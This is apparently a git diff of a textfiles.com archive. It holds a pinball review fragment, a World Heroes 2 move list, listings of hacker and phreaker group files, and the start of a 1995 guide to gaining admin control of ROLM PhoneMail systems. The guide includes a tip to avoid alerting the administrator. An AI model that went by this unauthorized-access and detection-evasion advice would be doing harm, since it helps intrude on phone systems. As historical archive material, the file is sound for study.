these days comes down to two things - Cities and Extra +Balls. The two kind of go together. First off Cities. Getting all the +cities takes you to the final round, potentially worth endless points. +Anything more than five goals against Germany will pretty much guarantee a +win, and 5 goals + a win gains you 875M! WHOAH! So get good at that left +spinner shot. Also get good at the right ramp, since you can't light +TRAVEL without it (unless you go to the rollovers.) + There are also lots of opportunities for extra balls - three so +far, and none of them is that tough. You're gonna need them so pick them +up ASAP. + The final thing is if you've ever wanted a game on which to +practice slap saves and/or outlane nudging, this is it. About 7 of 10 +balls are lost down the middle, making constant slap saves a neccessity. +And the outlanes are nice and bouncy, perfect for practicing getting down +just the right push to save a ball. BTW bangbacks are possible from the +left, but they're not easy. Rumor has it the biff bars are getting raised +in the production version too, which will make it even tougher. I can't +see how you would bang back from the right - there's way too much hardware +over there and you would hurt your hand way too badly. + + +And thats about the size of it. I think the reason I like this game so +much is its lack of gadgets / new technology. Its sort of a step back +from the more recent pins. A real plunger, Magna-Save, and +rollovers. Think about this, when was the last time you played a +WMS pin WITHOUT an upper flipper?? Well, okay I forgot about +Indiana Jones, but I never played it very much. This freaked me out +the first few times, every time I hit a spiral I was looking for +another combo shot from an upper flipper. Also, since the game's +modes are only secondary really, you spend more time planning out +your game and really PLAYING as opposed to Piano -> Slot -> Piano +ad infinitum. Most of all, the game is challenging and yet still fun +as all hell, I'm sure it will be a big earner for Williams, kudos for +everyone on the design team. + + \ No newline at end of file diff --git a/textfiles.com/games/worldher.mov b/textfiles.com/games/worldher.mov new file mode 100644 index 00000000..b0f6becc --- /dev/null +++ b/textfiles.com/games/worldher.mov @@ -0,0 +1,248 @@ + + A short note before I begin... like it says below, I have +NEVER played this game (welllll, once, to kill time, and I had +no idea what I was doing.) This list is exactly as I originally +released it almost 2 months ago. + + __ __ _______ _______ __ ______ +| |_| | _ | _ | | | _ | +| | | | | | | |_| | | | | | | +| | | | | | | _ || | | | | | +| | |_| | | | | |____| |_| | World Heroes 2 +|__,_,__|_______|__| |__|_______|______| release0 93f25 + __ __ _______ _______ _______ _______ _______ ______ +| | | | ____| _ | _ | ____| _____| |____ \ +| |_| | |_ | |_| | | | | |_ | |_____ ___| | +| _ | _| | _ || | | | _| |____ | / ___/ +| | | | |____| | | | |_| | |____ ____| | | |____ +|__| |__|_______|__| |__|_______|_______|_______| |_______| + +- At the time of writing this, I have NEVER touched this game, not + that I don't want to, just never did (probably because I got caught + up in Fighter's History.) +- I don't have a move listing for the original WH (didn't play that + game either!) +- The moves were copied out of the June issue of the Japanese arcade + gaming magazine "Gamest". So if any movements are inaccurate, it's + not my fault, save typos. +- Dots (".") subscripting any joystick positions indicate "charges", + hold the joystick in that position for a moment. Moves may also be + charged on adjacent diagonals. +- {Braced} words indicate my attempt at translating names into an + English form. +- [Bracketed] words indicate English translations obtained from + elsewhere (most likely a NeoGeo console.) +- indicate straight Katakana readings + as I couldn't figure out it's English origin. +- And finally, as always, assume right facing. + + _ Kim Dragon: Martial Arts _ Korea _________________________________ +| | O B Dragon Kick | +| O | | +|--------------------------------------------------------------------| +| Tap A repeatedly HyakuRekken {100 hand fury} | +|--------------------------------------------------------------------| +| Hit A & B at same time YokoCho^Keri | +| {Leaping double side kick} | +|____________________________________________________________________| + + _ Hanzou: Iga Ninja _ Japan ________________________________________ +| | -O A Rekko^zan | +| O [Lightning Slash] | +|--------------------------------------------------------------------| +| -O / \ A Ko^RyuHa | +| O O [Dragon Wave] | +|--------------------------------------------------------------------| +| \ | / O- B | +| O O O | +|--------------------------------------------------------------------| +| | -O | -O A Double Rekko^zan | +| O O | +|--------------------------------------------------------------------| +| | \ -O B Leg Lariott (?) | +| O O | +|____________________________________________________________________| + + _ Muscle Power: Wrestler _ USA _____________________________________ +| O-. -O A Muscle Bomber | +|--------------------------------------------------------------------| +| Spin joystick once A Tornado Breaker | +|--------------------------------------------------------------------| +| Spin joystick once B Giant Swing (?) | +|--------------------------------------------------------------------| +| Press A B C at same time Giant Swing (magazine printed | +| 'ditto' marks.) | +|--------------------------------------------------------------------| +| | \ -O O B Cho {extreme} Drop Kick | +| O O / | +|____________________________________________________________________| + + _ Gengis Carn: Marauder _ Mongolia _________________________________ +| O-. -O A [Tiger Mash] | +|--------------------------------------------------------------------| +| | O A Mongolian Dynamite | +| O. | | +|____________________________________________________________________| + + _ Janne: Swordsperson _ France _____________________________________ +| O-. -O A Aura Bird | +|--------------------------------------------------------------------| +| | O B Flash Sword | +| O. | | +|--------------------------------------------------------------------| +| O-. -O B Justice Sword | +|____________________________________________________________________| + + _ Rasputin: Sorcerer _ Russia ______________________________________ +| | \ -O A Fireball | +| O O | +|--------------------------------------------------------------------| +| O- / | \ -O A Tiger Ball | +| O O O | +|--------------------------------------------------------------------| +| | / -O B Axle Spin | +| O O | +|--------------------------------------------------------------------| +| (mid-air) | \ -O A Mid-air Fireball | +| O O | +|--------------------------------------------------------------------| +| | \ -O B Kossak(sp?) Dance | +| O O | +|--------------------------------------------------------------------| +| (mid-air) | / O- B Mid-air Axle Spin | +| O O | +|____________________________________________________________________| + + _ Fuuma: Fuuma Ninja _ Japan _______________________________________ +| | -O A Reppu^zan | +| O [Cyclone Slash] | +|--------------------------------------------------------------------| +| -O / \ A EnRyuHa | +| O O [Dragon Flame] | +|--------------------------------------------------------------------| +| \ | / O- B | +| O O O | +|--------------------------------------------------------------------| +| | -O | -O A Double Reppu^zan | +| O O | +|--------------------------------------------------------------------| +| (mid-air) | \ -O B Aerial EnRyuHa | +| O O | +|____________________________________________________________________| + + _ Brocken: Military Officer _ Germany ______________________________ +| \ -O A Grenade Launcher | +| O | +|--------------------------------------------------------------------| +| | -O \ A Hurricane Arm | +| O O | +|--------------------------------------------------------------------| +| Tap A repeatedly Spark Thunder | +|--------------------------------------------------------------------| +| \ -O B German Missile | +| O | +|--------------------------------------------------------------------| +| (mid-air) \ B Mid-air flying spin kick | +| O | +|--------------------------------------------------------------------| +| (mid-air) Hit A B at same time Flying Attack | +|____________________________________________________________________| + + _ Shura: Muay Thai _ Thailand ______________________________________ +| O-. -O A Dash Upper | +|--------------------------------------------------------------------| +| O-. -O B Dash | +|--------------------------------------------------------------------| +| Hit A B at same time Dash Nige {escape} Punch | +|--------------------------------------------------------------------| +| | O B MaKu^TobiShitsuKeri | +| O | {Flying Knee Kick} | +|--------------------------------------------------------------------| +| / O B Ku^ChuNiDanMawashiKeri | +| O. / [Airborne Twirl Kick] | +|____________________________________________________________________| + + + _ Ryoko: Judo Queen _ Japan ________________________________________ +| | -O \ A BoSatsuSho | +| O O [Hand of God] | +|--------------------------------------------------------------------| +| O- / | \ -O A NiDan Seoi Nage | +| O O O {Two step Shoulder Throw} | +|--------------------------------------------------------------------| +| -O \ | / O- -O B Ku^ChuHaNiDanNage | +| O O O [Airborne Body Bounce] | +|--------------------------------------------------------------------| +| Tap Joystick twice (?) Dash | +|--------------------------------------------------------------------| +| Dash A Dash Punch | +|--------------------------------------------------------------------| +| Dash B Dash Kick | +|--------------------------------------------------------------------| +| Hit A B at same time Dash Jump Kick | +|____________________________________________________________________| + + _ Capt. Kidd: Pirate _ Seven Seas __________________________________ +| O-. -O A Shark Knuckle | +|--------------------------------------------------------------------| +| | O A Shark Upper | +| O. | | +|--------------------------------------------------------------------| +| O-. -O B Spiral Kick | +|--------------------------------------------------------------------| +| Hit A B C at same time Kime | +|--------------------------------------------------------------------| +| Hit A B at same time Hyper Kick | +|--------------------------------------------------------------------| +| | \ -O A Pirate Ship | +| O O | +|____________________________________________________________________| + + _ Mudman: Spirit Warrior _ New Guinnea _____________________________ +| \ -O A Mud Attack | +| O | +|--------------------------------------------------------------------| +| | O- A Mudcutter | +| O | +|--------------------------------------------------------------------| +| | O A Mud Gyro | +| O | | +|--------------------------------------------------------------------| +| Hit A B C at same time Dance | +|____________________________________________________________________| + + _ Erik: Viking _ Norway ____________________________________________ +| | O A Thor Hammer | +| O. | | +|--------------------------------------------------------------------| +| O- \ B Aegyr's Halberd | +| O | +|--------------------------------------------------------------------| +| O- / | \ -O A Blizzard Press | +| O O O | +|--------------------------------------------------------------------| +| O-. -O A Longhorn | +|____________________________________________________________________| + + _ J.Maximum: Quarterback _ USA _____________________________________ +| | \ -O A Shot | +| O O [Pigskin Thunderspirit] | +|--------------------------------------------------------------------| +| | \ -O B Under | +| O O [Penetration Point] | +|--------------------------------------------------------------------| +| -O -O A Shoulder Charging | +|--------------------------------------------------------------------| +| | O A Head Crush | +| O | | +|--------------------------------------------------------------------| +| -O | \ A Lightning Tackle | +| O O | +|____________________________________________________________________| + + corrections are appreciated +-- + Galen Komatsu ! Apple //e ! XTC + ar592@cleveland.freenet.edu ! Sega Mega Drive ! Sakai Noriko + gkomatsu@hawaii.edu ! Classic Atari ! Checkers + \ No newline at end of file diff --git a/textfiles.com/groups.1 b/textfiles.com/groups.1 new file mode 100644 index 00000000..96c275b0 --- /dev/null +++ b/textfiles.com/groups.1 @@ -0,0 +1,48 @@ + +T E X T F I L E S + +

Textfile Writing Groups

+

+It was natural that groups of close friends, working together to write textfiles +on whatever subjects they considered their own, would start considering +themselves a sort of rock and roll band, or maybe a gang. To this end, Textfile +"Groups" starting making appearances early in the 1980's, and of course it's +gotten completely out of hand. +

+Some groups had members that never actually met each other; they did all their +work online and might be many many miles apart, or even in different countries. +Some groups were open to anyone who wanted to be a member, and some were finite +and refused to expand or contract. And then there's the cDc. +

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + +
Filename
Size
Description of the Textfile
9X9X
ANARCHYINCAnarchy Incorporated
BANANAREPUBLICThe Banana Republic BBS Collection (From New Zealand)
BARThe Bad Ass Retards
BLACKCIRCLEBlack Circle Productions
BUZZThe Buzz Brothers
CDCThe Cult of the Dead Cow Library
CHINAThe CHiNA Colleciton
DAMAGEINCDamage, Incorporated
FISHFolks In Santa Hats
METALCOMMUNICATIONSNeon Knights and Metal Communications
OCTOTHORPEOctothorpe Productions, the official Works BBS Group
OMNIPOTENTOmnipotent, Inc.
PHAITPhreaks, Hackers and Anarchists Instigating Turmoil
PHONELOSERSThe Phone Losers of America
PPHThe Phido Phreaks
PPPPhucked Phreak Productions
SHAWNShawn Da Lay Boy Productions
TWATThe Winner ANSI Team
VIDEOVINDICATORThe Works of the Video Vindicator
ZANZhit Access Nation
 

There are 21 directories.
+ +

If you wish to have the entire directory conveniently archived and compressed into one file, please download +either groups.tar.gz (5997902 bytes) or groups.zip (6854272 bytes) instead of all the files separately.

diff --git a/textfiles.com/groups/.windex.html b/textfiles.com/groups/.windex.html new file mode 100644 index 00000000..0392bb46 --- /dev/null +++ b/textfiles.com/groups/.windex.html @@ -0,0 +1,48 @@ + +T E X T F I L E S + +

Textfile Writing Groups

+

+It was natural that groups of close friends, working together to write textfiles +on whatever subjects they considered their own, would start considering +themselves a sort of rock and roll band, or maybe a gang. To this end, Textfile +"Groups" starting making appearances early in the 1980's, and of course it's +gotten completely out of hand. +

+Some groups had members that never actually met each other; they did all their +work online and might be many many miles apart, or even in different countries. +Some groups were open to anyone who wanted to be a member, and some were finite +and refused to expand or contract. And then there's the cDc. +

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + +
Filename
Size
Description of the Textfile
9X9X
ANARCHYINCAnarchy Incorporated
BANANAREPUBLICThe Banana Republic BBS Collection (From New Zealand)
BARThe Bad Ass Retards
BLACKCIRCLEBlack Circle Productions
BUZZThe Buzz Brothers
CDCThe Cult of the Dead Cow Library
CHINAThe CHiNA Colleciton
DAMAGEINCDamage, Incorporated
FISHFolks In Santa Hats
METALCOMMUNICATIONSNeon Knights and Metal Communications
OCTOTHORPEOctothorpe Productions, the official Works BBS Group
OMNIPOTENTOmnipotent, Inc.
PHAITPhreaks, Hackers and Anarchists Instigating Turmoil
PHONELOSERSThe Phone Losers of America
PPHThe Phido Phreaks
PPPPhucked Phreak Productions
SHAWNShawn Da Lay Boy Productions
TWATThe Winner ANSI Team
VIDEOVINDICATORThe Works of the Video Vindicator
ZANZhit Access Nation
 

There are 21 directories.
+ +

If you wish to have the entire directory conveniently archived and compressed into one file, please download +either groups.tar.gz (5997902 bytes) or groups.zip (6854272 bytes) instead of all the files separately.

diff --git a/textfiles.com/groups/9X.1 b/textfiles.com/groups/9X.1 new file mode 100644 index 00000000..59afcc50 --- /dev/null +++ b/textfiles.com/groups/9X.1 @@ -0,0 +1,39 @@ + +T E X T F I L E S + +

Groups: 9X

+

+9X seems to have been a late-blooming group with a strong lean for +code and carrier scanning and pirate radio. Most of the files in this directory +are transcriptions from a pirate radio text, and others are documentation for +code scanning programs. The warning at the beginning of most of the files is +precious. +

+ + + +
+
Filename +Size +Description of the Textfile
9x.info 1315
 Introduction file for the 9x Group +
9x.nfo 2084
 9X: The Information File +
9x.tex 39559
 9X: Complete Documentation of ROLM Phonemail Systems, by Substance 1995 +
9x_888.txt 4565
 9X: How to get 888's, by Substance, 1996 +
9x_altel.txt 7475
 9X: How to Hack AllTel Mobile's Voicemail +
9x_bbox.txt 22718
 9X: Introduction to Blue Boxing, by Lineman, 1996 +
9x_cell.txt 10127
 9X: Flygu's Cellular Phreaking Guide for 1996 +
9x_hp3.txt 18064
 9X: Hacking the HP3000/MPE Platform, by OneThought +
9x_style.txt 5842
 9X: Internet Hacking Versus Local Hacking by Grampa Elite +
9x_swbtd.txt 18635
 9X: A Listing of Southwestern Bell Lineman Work Codes by Dave S.O.B. 1996 +
9x_tf223.txt 5891
 9X: Scan of 1-800 Numbers, by Substance +
9x_tf280.txt 5732
 9X: Scan of 1-800-280 by Substance, 1996 +
9x_tf465.txt 5822
 9X: Scan of 1-800-465 by Substance +
9x_tf546.txt 9880
 9X: Scan of 1-800-546 by Substance +
busted.9x 8876
 9X: What if I get Busted? (For Pirate Radio) +
file_id.diz 265
 9X: Info File +
fordcred.9x 4820
 A Brief Introduction To Ford Creditnet by Schizo Man and Substance of 9x +
rolm_2.txt 14726
 9X: ROLM Phonemail Revisited, by Khelbin +
rolmpm.hlp 33540
 Some information on ROLM Phonemail Systems, by Substance +
securid.9x 3602
 SecurID Information by Schizo Man of 9x +

There are 20 files for a total of 223,538 bytes.
+ diff --git a/textfiles.com/groups/9X/.windex.html b/textfiles.com/groups/9X/.windex.html new file mode 100644 index 00000000..6998162e --- /dev/null +++ b/textfiles.com/groups/9X/.windex.html @@ -0,0 +1,39 @@ + +T E X T F I L E S + +

Groups: 9X

+

+9X seems to have been a late-blooming group with a strong lean for +code and carrier scanning and pirate radio. Most of the files in this directory +are transcriptions from a pirate radio text, and others are documentation for +code scanning programs. The warning at the beginning of most of the files is +precious. +

+ + + +
+
Filename +Size +Description of the Textfile
9x.info 1315
 Introduction file for the 9x Group +
9x.nfo 2084
 9X: The Information File +
9x.tex 39559
 9X: Complete Documentation of ROLM Phonemail Systems, by Substance 1995 +
9x_888.txt 4565
 9X: How to get 888's, by Substance, 1996 +
9x_altel.txt 7475
 9X: How to Hack AllTel Mobile's Voicemail +
9x_bbox.txt 22718
 9X: Introduction to Blue Boxing, by Lineman, 1996 +
9x_cell.txt 10127
 9X: Flygu's Cellular Phreaking Guide for 1996 +
9x_hp3.txt 18064
 9X: Hacking the HP3000/MPE Platform, by OneThought +
9x_style.txt 5842
 9X: Internet Hacking Versus Local Hacking by Grampa Elite +
9x_swbtd.txt 18635
 9X: A Listing of Southwestern Bell Lineman Work Codes by Dave S.O.B. 1996 +
9x_tf223.txt 5891
 9X: Scan of 1-800 Numbers, by Substance +
9x_tf280.txt 5732
 9X: Scan of 1-800-280 by Substance, 1996 +
9x_tf465.txt 5822
 9X: Scan of 1-800-465 by Substance +
9x_tf546.txt 9880
 9X: Scan of 1-800-546 by Substance +
busted.9x 8876
 9X: What if I get Busted? (For Pirate Radio) +
file_id.diz 265
 9X: Info File +
fordcred.9x 4820
 A Brief Introduction To Ford Creditnet by Schizo Man and Substance of 9x +
rolm_2.txt 14726
 9X: ROLM Phonemail Revisited, by Khelbin +
rolmpm.hlp 33540
 Some information on ROLM Phonemail Systems, by Substance +
securid.9x 3602
 SecurID Information by Schizo Man of 9x +

There are 20 files for a total of 223,538 bytes.
+ diff --git a/textfiles.com/groups/9X/9x.info b/textfiles.com/groups/9X/9x.info new file mode 100644 index 00000000..6805d6b8 --- /dev/null +++ b/textfiles.com/groups/9X/9x.info @@ -0,0 +1,23 @@ + + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ 9x ³ + ÀÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ; + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ 9x is Substance, Schizo Man and Delinquent Dialer, Firebug ³ + ÀÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ; + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +Þ³9x is a new group, devoted to exploiting Nynex and spreading HP in the 90's³Ý +Þ³We do not only release material on hacking the phone company but general HP³Ý +Þ³as well. We have no loader, just the old skewl tfile. Loaders just take up³Ý +Þ³space and take more time to xfer. To find out more about joining, you can ³Ý +Þ³email us or check out #9x on irc. Later. ³Ý +Þ³ - Substance - Schizo Man - Deliquent Dialer - Firebug ³Ý + ÀÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ; + + þ Remeber: Real hackers dont rollerblader þ + + Substance: jcattell@linux.cowland.com Schizo Man: schizo@infosoc.com + Delinquent Dialer: deldial@nosoc.mil Firebug: firebug@shell.globalone.net + + VMB (8oo)365-4467 diff --git a/textfiles.com/groups/9X/9x.nfo b/textfiles.com/groups/9X/9x.nfo new file mode 100644 index 00000000..1f028de5 --- /dev/null +++ b/textfiles.com/groups/9X/9x.nfo @@ -0,0 +1,37 @@ + + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ .úþÛ 9x Ûþú. ³ + ÀÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ; + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ 9x is Substance, Disease, Schizo Man, Grampa Elite, Firebug and Dave_SOB ³ + ³ Juice, Lineman, Soren, Ren0, Ser, Leper Messiah, TMM, Flygu, fbphreak ³ + ÀÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ; + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +Þ³9x is a new group, devoted to exploiting Nynex and spreading HP in the 90's³Ý +Þ³We do not only release material on hacking the phone company but general HP³Ý +Þ³as well. We have no loader, just the old skewl tfile. Loaders just take up³Ý +Þ³space and take more time to xfer. To find out more about joining, you can ³Ý +Þ³ þþþþþþþþþþþþþ email us or check out #9x on irc. Later. þþþþþþþþþþþþþþþ ³Ý + ÀÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ; + + [Substance: jcat@scooby.pubnix.org ] [Schizo Man: (jail)schizo@infosoc.com] + [Grampa Elite mdrom@mindvox.com ] [Firebug: firebug@shell.globalone.net] + [Soren: nitro@ici.net ] [Ren0: kawl P&H in Limbo ] + [Ser: unknown ] [Disease: email substance ] + [Dave_SOB: mp010328@interramp.com ] [LordofPain (flygu): no stable email ] + [Leper_m: rambozo@unix0.loclnet.com] [Pioneer: cellular@primenet.com ] + [Juice: juice@omega.net ] [TMM: an399010@anon.penet.fi ] + [Lineman: willh@vrlab.uccb.ns.ca ] [fbphreak: ? ] + + Support boards: + + The Mob: (888)992-5678 + Linoleum: (8oo)86o-6394 + P&H in Limbo: (416)748-1161 + + Web Page(s): + + http://www.itribe.net/~nomad/9x (Nomads email: nomad@itribe.net) + http://www.ici.net/cust_pages/twiz + diff --git a/textfiles.com/groups/9X/9x.tex b/textfiles.com/groups/9X/9x.tex new file mode 100644 index 00000000..56f695a6 --- /dev/null +++ b/textfiles.com/groups/9X/9x.tex @@ -0,0 +1,1116 @@ +STATION ID - 7047/3.12 + +9x Datakit Network +FOR OFFICIAL USE ONLY + +This is a 9x system, restricted to authorized persons and for +official 9x business only. Anyone using this system, network or data +is subject to being monitored at any time for system administration and +for identifying unauthorized users or system misuse. Anyone using this +system expressly consents to such monitoring and is advised that any +evidence of criminal activity revealed through such monitoring may be +provided to law enforcement for prosecution. + + + 9x is Substance, Schizo Man, Delinquent Dialer, and Firebug + + The Distro Sites + + Another Way of Life (518) + The Phantom Tollbooth (718) + + + Complete Documentation of ROLM Phonemail Systems + Written in 1995 by Substance + (*Sysop of AWoL*) + + + + + +Alot of this is captures. I am going to try to explain to you (the reader) +how to use a ROLM PhoneMail system. Although i do not consider myself an +expert on ROLM PhoneMails (which will be referred to as PM's from now on), +I do think i know enough about them to write a quality textfile. This will +explain how to use the PBX features, how to setup and takeover your own +boxes, and also give a basic overview of the system. I included a log of +a PM and a brief description of each command. + +The main menu of a PM will have these options on it, i will attempt to give +a brief summary of what each command does to the best of my knowledge + + +Û ActivatePM Û Turns on PhoneMail, if it was Deactivated +Û AssignClasses Û +Û BackupNames Û +Û BackupSystem Û Backs up the PM system to floppy, DONT DO THIS! +Û CallProcessing Û +Û ClassOfService Û +Û DeactivatePM Û Turns off PhoneMail, after this, PM will be BUSY +Û DList Û +Û Export Û +Û FFormat Û Formats a floppy disk +Û LogOff Û Logoff the PM system +Û MonitorLogon Û Monitors Mailbox Login Attempts +Û NodeParameters Û Configure PM Node Parameters, find # of PM VMB +Û OCConfigAndTest Û +Û OCMessageLog Û +Û Profile Û +Û Reports Û Gives Daily reports on PM +Û RestrictionTbls Û Restrictions +Û Status Û Shows Status of PM, # of users, if active, general +Û SysParameters Û Shows System Parameters +Û SysStatistics Û Shows System Statistics + + + +CONNECT 1200 (not all PM's are 1200, but most) + +(It should answer and say:) + +PM Login> + +Illegal Input. (if you dont enter a valid usrname) + +(Once you enter the system you will know when you see this) + +ROLM PhoneMail 9252 9254 Microcode Version 5.3 +Copyright (C) ROLM Systems 1992 +All Rights Reserved. +ÿÿÿ + +PhoneMail is active with 4 Channels + +[The basic main SA menu looks like this] (SA = System Administrative) + + +Thu Jul 13, 1995 10:32 PM + +Specify a function - + ActivatePM AssignClasses BackupNames + BackupSystem CallProcessing ClassOfService + DeactivatePM DList Export + FFormat LogOff MonitorLogon + NodeParameters OCConfigAndTest OCMessageLog + Profile Reports RestrictionTbls + Status SysParameters SysStatistics + +------------------------------------------------------------------------------ + +Function: SysStatistics (System Statistics) + +Thu Jul 13, 1995 10:33 PM + +Action: ? + +Specify an action - + Clear List + +(*I strongly would not advise clearing the buffer it might notify the admin*) + +Action: List (This list is alot longer then i printed,sometimes) + + +Disk Full Count 0 +Disk Full Hours 0 +Disk 90% Full Count 0 +Disk 90% Full Hours 0 +Daily Disk Usage [ 1]: 40 +Daily Disk Usage [ 2]: 36 +Daily Disk Usage [ 3]: 36 +Channels Busy Count 13196 +Channels Busy Secs. 79114 +Hourly Channels Busy[ 1]: 1 +Hourly Channels Busy[ 2]: 2 +Hourly Channels Busy[ 3]: 6 +Hourly Channels Busy[ 4]: 1 +Hourly Channels Used[ 1]: 5326 +. +. +. + +Hourly Channels Used[22]: 54498 +Hourly Channels Used[23]: 23103 +Hourly Channels Used[24]: 12691 +Direct Calls Count 38946 +Direct Call Secs. 2114747 +Direct Call Lengths [ 1]: 15367 +Direct Call Lengths [ 2]: 12973 +Direct Call Lengths [ 3]: 4928 +Hourly Direct Calls [ 1]: 33 +Hourly Direct Calls [ 2]: 12 +Hourly Direct Calls [ 3]: 3 +Hourly Direct Calls [ 4]: 2 +Forward Calls Count 104700 +Forward Call Secs. 3214148 +Forward Call Lengths[ 1]: 59499 +Forward Call Lengths[ 2]: 35891 +Hourly Forward Calls[ 3]: 26 +Hourly Forward Calls[ 4]: 19 +Hourly Forward Calls[ 5]: 24 +Hourly Forward Calls[ 6]: 26 +Hourly Forward Calls[ 7]: 214 +Hourly Forward Calls[ 8]: 1313 +Outcalls Count 0 +Outcalls Seconds 0 +Outcall Lengths [ 1]: 0 +Outcall Lengths [ 2]: 0 +Outcall Lengths [ 3]: 0 +Outcall Lengths [ 4]: 0 +Outcall Lengths [ 5]: 0 +Outcall Lengths [ 6]: 0 +Hourly Outcalls [ 1]: 0 +Hourly Outcalls [ 2]: 0 +Hourly Outcalls [ 3]: 0 +Hourly Outcalls [ 4]: 0 +Hourly Outcalls [ 5]: 0 +Hourly Outcalls [ 6]: 0 +Hourly Outcalls [ 7]: 0 +Hourly Outcalls [ 8]: 0 +Hourly Outcalls [ 9]: 0 +Hourly Outcalls [10]: 0 +Hourly Outcalls [11]: 0 +Hourly Outcalls [12]: 0 +Hourly Outcalls [13]: 0 +Hourly Outcalls [14]: 0 +Hourly Outcalls [15]: 0 +Hourly Outcalls [16]: 0 +Hourly Outcalls [17]: 0 +Hourly Outcalls [18]: 0 +Hourly Outcalls [19]: 0 +Hourly Outcalls [20]: 0 +Hourly Outcalls [21]: 0 +Hourly Outcalls [22]: 0 +Hourly Outcalls [23]: 0 +Hourly Outcalls [24]: 0 +Direct Msg. Count 1016 +Direct Msg. Secs. 29882 +Direct Msg. Lengths [ 1]: 225 +Direct Msg. Lengths [ 2]: 410 +Direct Msg. Lengths [ 3]: 294 +Direct Msg. Lengths [ 4]: 78 +Direct Msg. Lengths [ 5]: 9 +Forward Msg. Count 40296 +Forward Msg. Secs. 936651 +Forward Msg. Lengths[ 1]: 14771 +Forward Msg. Lengths[ 2]: 15097 +Forward Msg. Lengths[ 3]: 8393 +Forward Msg. Lengths[ 4]: 1740 +Forward Msg. Lengths[ 5]: 295 +Retained Msg. Count 41945 +Retained Msg. Hours 582638 +Retention Lengths [ 1]: 31681 +Retention Lengths [ 2]: 6340 +Retention Lengths [ 3]: 1104 +Retention Lengths [ 4]: 1469 +Retention Lengths [ 5]: 1351 +Stat Update Count 338 +Host Link Up FALSE +# Msg Alerts Sent 0 +# PM Header Sent 0 +# Header Req Rcvd 0 +# New Host Message 0 +No Channel: LDN/AMIS 0 +# LDN Attenuation 0 +# LDN Distortion 0 +# LDN Freq Ripple 0 +# LDN Noise 0 +PBX Link Failures 0 +PBX Link MWI Blocks 0 +PBX Link Extn Errors 0 +PBX Link Bad RcvMsgs 0 +Hourly CP Calls [ 1]: 41 +Hourly CP Calls [ 2]: 20 +Hourly CP Calls [ 3]: 11 +Hourly CP Calls [ 4]: 7 +Hourly CP Calls [ 5]: 12 +Hourly CP Calls [ 6]: 9 +Hourly CP Calls [ 7]: 36 +Hourly CP Calls [ 8]: 207 +Hourly CP Calls [ 9]: 1327 +Hourly CP Calls [10]: 2746 +Hourly CP Calls [11]: 3334 +Hourly CP Calls [12]: 3546 +Hourly CP Calls [13]: 3544 +Hourly CP Calls [14]: 3746 +Hourly CP Calls [15]: 3914 +Hourly CP Calls [16]: 4075 +Hourly CP Calls [17]: 3957 +Hourly CP Calls [18]: 3081 +Hourly CP Calls [19]: 2099 +Hourly CP Calls [20]: 1379 +Hourly CP Calls [21]: 914 +Hourly CP Calls [22]: 520 +Hourly CP Calls [23]: 221 +Hourly CP Calls [24]: 102 +CP Rejected Calls 0 +TA Rejected Calls 0 +CP Total Calls Count 38848 +TA Total Calls Count 190466 +MWI Msgs out 74765 +MWI Msgs Ackd 74742 +MWI Retries 0 +MWI Retries Ackd 0 +MWI Duplicates 23 +MWI Msgs Discarded 0 +MWI Msgs Flushed 0 +MWI Failures 0 +MWI Acks Late 23 +MWI Times Q Full 0 +Max Alert Queue 4 +Stat Last Cleared Mon Aug 1, 1994 8:45 AM +Sub Stat Last Clear Mon Aug 1, 1994 8:44 AM +CP Stat Last Clear Mon Jan 3, 1994 8:24 AM +DIR Rmt Grtg Count 0 +DIR Rmt Grtg Failed 0 +Guest Rmt Grtg Count 0 +Guest Rmt Grtg Fails 0 + +Im not exactly positive what all of the System Statistics are, but you can +kind of guess on some of them, it mentions PBX's, more on that later + +------------------------------------------------------------------------------ 